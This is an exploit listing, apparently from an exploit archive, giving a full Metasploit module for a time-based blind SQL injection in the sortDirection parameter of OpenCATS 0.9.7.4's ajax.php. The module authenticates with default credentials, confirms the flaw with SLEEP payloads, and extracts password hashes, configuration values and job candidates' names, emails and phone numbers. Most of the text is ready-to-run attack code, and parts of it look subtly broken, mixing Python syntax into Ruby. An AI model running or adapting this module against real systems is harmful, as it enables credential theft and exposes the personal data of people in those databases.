Share
## https://sploitus.com/exploit?id=PACKETSTORM:225449
==================================================================================================================================
    | # Title     : OpenCATS 0.9.7.4 SQL Injection Time-Based Blind                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/opencats/OpenCATS                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
                      The vulnerability is present in the `ajax.php` endpoint when handling the`sortDirection` parameter.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenCATS 0.9.7.4 SQL Injection (Time-Based Blind)',
            'Description' => %q{
              A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
              The vulnerability is present in the `ajax.php` endpoint when handling the
              `sortDirection` parameter. An authenticated attacker can perform time-based
              blind SQL injection to extract sensitive information from the database,
              including user credentials, configuration data, and candidate information.
    
              This module exploits the vulnerability by injecting SQL code into the
              `sortDirection` parameter of the `getDataGridPager` action. The injection
              uses time-based delays to infer data from the database character by character.
    
              Tested on OpenCATS 0.9.7.4 with PHP and MariaDB/MySQL.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://github.com/opencats/OpenCATS'],
              ['URL', 'https://github.com/opencats/OpenCATS/security/advisories'],
              ['URL', 'https://www.opencats.org']
            ],
            'DisclosureDate' => '2026-04-29',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base OpenCATS path', '/']),
          OptString.new('USERNAME', [true, 'OpenCATS username', 'admin']),
          OptString.new('PASSWORD', [true, 'OpenCATS password', 'cats']),
          OptInt.new('DELAY', [false, 'Time delay for blind injection (seconds)', 1]),
          OptInt.new('THREADS', [false, 'Number of threads for extraction', 1]),
          OptEnum.new('EXTRACT_MODE', [true, 'What to extract', 'ALL', ['USERS', 'CONFIG', 'CANDIDATES', 'ALL']])
        ])
      end
      def login
        print_status("Authenticating to OpenCATS at #{peer}")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php')
        )
        if res.nil?
          print_error("Failed to reach login page")
          return false
        end
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_get' => { 'm' => 'login', 'a' => 'attemptLogin' },
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          },
          'keep_cookies' => true
        )
        if res && (res.code == 302 || res.code == 200)
          if res.headers['Location'] && !res.headers['Location'].include?('login')
            print_good("Authentication successful")
            return true
          elsif res.body && !res.body.include?('Invalid')
            print_good("Authentication successful")
            return true
          end
        end
        print_error("Authentication failed. Check credentials.")
        false
      end
      def send_sqli_request(payload, timeout = 10)
        """
        Send SQL injection payload through the vulnerable parameter.
        The vulnerability is in the sortDirection parameter of the getDataGridPager action.
        """
        params = {
          'f' => 'getDataGridPager',
          'i' => 'candidates:candidatesListByViewDataGrid',
          'p' => {
            'sortBy' => 'dateModifiedSort',
            'sortDirection' => payload,
            'rangeStart' => 0,
            'maxResults' => 15
          }.to_json
        }
        begin
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'ajax.php'),
            'vars_get' => params,
            'timeout' => timeout,
            'keep_cookies' => true
          )
          return res
        rescue ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
          return nil
        end
      end
      def measure_response_time(payload)
        """
        Measure response time for a given SQL injection payload.
        Returns the response time in seconds.
        """
        start_time = Time.now
        send_sqli_request(payload, datastore['DELAY'] + 5)
        elapsed_time = Time.now - start_time
        elapsed_time
      end
      def get_baseline_time
        """
        Get baseline response time without any sleep injection.
        """
        normal_payload = "DESC"
        measure_response_time(normal_payload)
      end
      def test_vulnerability
        """
        Test if the target is vulnerable to time-based blind SQL injection.
        """
        print_status("Testing for time-based blind SQL injection...")
        baseline = get_baseline_time
        print_status("Baseline response time: #{'%.2f' % baseline}s")
        sleep_payload = "DESC,SLEEP(#{datastore['DELAY']})"
        sleep_time = measure_response_time(sleep_payload)
        print_status("Response time with SLEEP: #{'%.2f' % sleep_time}s")
        
        if sleep_time > baseline + (datastore['DELAY'] * 0.6)
          print_good("Target appears vulnerable to time-based blind SQL injection!")
          return true
        else
          print_error("Target does not appear vulnerable")
          return false
        end
      end
      def blind_condition(condition, delay = datastore['DELAY'])
        """
        Execute a blind SQL injection condition and return true if condition is true.
        Uses time-based detection: SLEEP(delay) if condition is true.
        """
        payload = "DESC,IF((#{condition}),SLEEP(#{delay}),0)"
        response_time = measure_response_time(payload)
        baseline = get_baseline_time
        response_time > baseline + (delay * 0.6)
      end
      def extract_string(query, max_length = 100)
        """
        Extract a string from the database using binary search on character values.
        """
        result = ""
        print_status("Extracting: #{query}")
        length = 0
        (1..max_length).each do |i|
          condition = "LENGTH((#{query})) < #{i}"
          if blind_condition(condition)
            length = i - 1
            break
          end
          length = i
        end
        print_status("  Length: #{length}")
        (1..length).each do |pos|
          lo = 32  
          hi = 126 
          while lo < hi
            mid = (lo + hi) // 2
            condition = "ORD(SUBSTRING((#{query}), #{pos}, 1)) > #{mid}"
            if blind_condition(condition)
              lo = mid + 1
            else
              hi = mid
            end
          end
          result += lo.chr
          print_status("  Progress: #{pos}/#{length} -> #{result}")
        end
        result
      end
      def extract_integer(query, max_bits = 32)
        """
        Extract an integer from the database using bit-by-bit extraction.
        """
        result = 0
        (0..max_bits).each do |bit|
          condition = "((#{query}) >> #{bit}) & 1 = 1"
          if blind_condition(condition)
            result |= (1 << bit)
          end
        end
        result
      end
      def get_database_info
        """
        Extract basic database information.
        """
        info = {}
        print_status("Extracting database information...")
        info['version'] = extract_string("@@version", 30)
        info['database'] = extract_string("DATABASE()", 30)
        info['user'] = extract_string("USER()", 30)
        info
      end
      def extract_users
        """
        Extract user credentials from the user table.
        """
        print_status("Extracting user information...")
        users = []
        count_query = "SELECT COUNT(*) FROM user"
        user_count = extract_integer(count_query)
        print_good("Found #{user_count} user(s)")
        (0...user_count).each do |offset|
          user = {}
          username_query = "SELECT user_name FROM user ORDER BY user_id LIMIT #{offset},1"
          user['username'] = extract_string(username_query, 40)
          level_query = "SELECT access_level FROM user ORDER BY user_id LIMIT #{offset},1"
          user['access_level'] = extract_integer(level_query, 8)
          hash_query = "SELECT password FROM user ORDER BY user_id LIMIT #{offset},1"
          user['password_hash'] = extract_string(hash_query, 62)
          email_query = "SELECT email FROM user ORDER BY user_id LIMIT #{offset},1"
          user['email'] = extract_string(email_query, 60)
          users << user
          print_good("  User #{offset+1}: #{user['username']} (level: #{user['access_level']})")
          print_status("    Hash: #{user['password_hash']}")
          print_status("    Email: #{user['email']}") if user['email']
        end
        users
      end
      def extract_candidates
        """
        Extract candidate information from the candidate table.
        """
        print_status("Extracting candidate information...")
        candidates = []
        count_query = "SELECT COUNT(*) FROM candidate"
        candidate_count = extract_integer(count_query)
        print_status("Found #{candidate_count} candidate(s)")
        if candidate_count > 10
          print_warning("Large number of candidates (#{candidate_count}). Extraction may take time.")
        end
        max_to_extract = [candidate_count, 20].min  # Limit to 20 candidates for performance
        print_status("Extracting first #{max_to_extract} candidates...")
        (0...max_to_extract).each do |offset|
          candidate = {}
          first_name_query = "SELECT firstName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['first_name'] = extract_string(first_name_query, 30)
          last_name_query = "SELECT lastName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['last_name'] = extract_string(last_name_query, 30)
          email_query = "SELECT email FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['email'] = extract_string(email_query, 50)
          phone_query = "SELECT phoneHome FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['phone'] = extract_string(phone_query, 20)
          company_query = "SELECT company FROM candidate ORDER BY candidateId LIMIT #{offset},1"
          candidate['company'] = extract_string(company_query, 50)
          candidates << candidate
          print_status("  Candidate #{offset+1}: #{candidate['first_name']} #{candidate['last_name']} - #{candidate['email']}")
        end
        candidates
      end
      def extract_config
        """
        Extract configuration settings from the config table.
        """
        print_status("Extracting configuration settings...")
        config = {}
        config_keys = [
          'site_name', 'site_url', 'admin_email', 'language', 
          'timezone', 'date_format', 'currency', 'company_name'
        ]
        config_keys.each do |key|
          query = "SELECT value FROM config WHERE setting = '#{key}' LIMIT 1"
          value = extract_string(query, 100)
          config[key] = value if value && !value.empty?
        end
        config
      end
      def run_host(ip)
        print_status("Starting OpenCATS SQL Injection scan against #{peer}")
        unless login
          print_error("Login failed. Cannot proceed with SQL injection.")
          return
        end
        unless test_vulnerability
          print_error("Target does not appear vulnerable to time-based blind SQL injection.")
          return
        end
        print_good("Target confirmed vulnerable to SQL injection!")
        extraction_mode = datastore['EXTRACT_MODE']
        case extraction_mode
        when 'USERS'
          users = extract_users
          users.each do |user|
            report_cred(
              host: ip,
              port: datastore['RPORT'],
              service_name: 'opencats',
              user: user['username'],
              private_data: user['password_hash'],
              private_type: :nonreplayable_hash,
              realm_key: 'access_level',
              realm_value: user['access_level']
            )
          end
        when 'CONFIG'
          config = extract_config
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'opencats.config',
            data: config,
            update: :unique_data
          )
        when 'CANDIDATES'
          candidates = extract_candidates
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'opencats.candidates',
            data: candidates,
            update: :unique_data
          )
        when 'ALL'
          db_info = get_database_info
          users = extract_users
          config = extract_config
          candidates = extract_candidates
          print_good("\n" + "=" * 60)
          print_good("EXTRACTION COMPLETE!")
          print_good("=" * 60)
          print_status("Database: #{db_info['database']}")
          print_status("MySQL Version: #{db_info['version']}")
          print_status("Database User: #{db_info['user']}")
          print_status("\nUsers found: #{users.length}")
          print_status("Configuration settings: #{config.length}")
          print_status("Candidates extracted: #{candidates.length}")
          report_note(
            host: ip,
            port: datastore['RPORT'],
            type: 'opencats.extracted_data',
            data: {
              'database_info' => db_info,
              'users' => users,
              'config' => config,
              'candidates' => candidates
            },
            update: :unique_data
          )
        end    print_good("SQL injection exploitation completed")
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================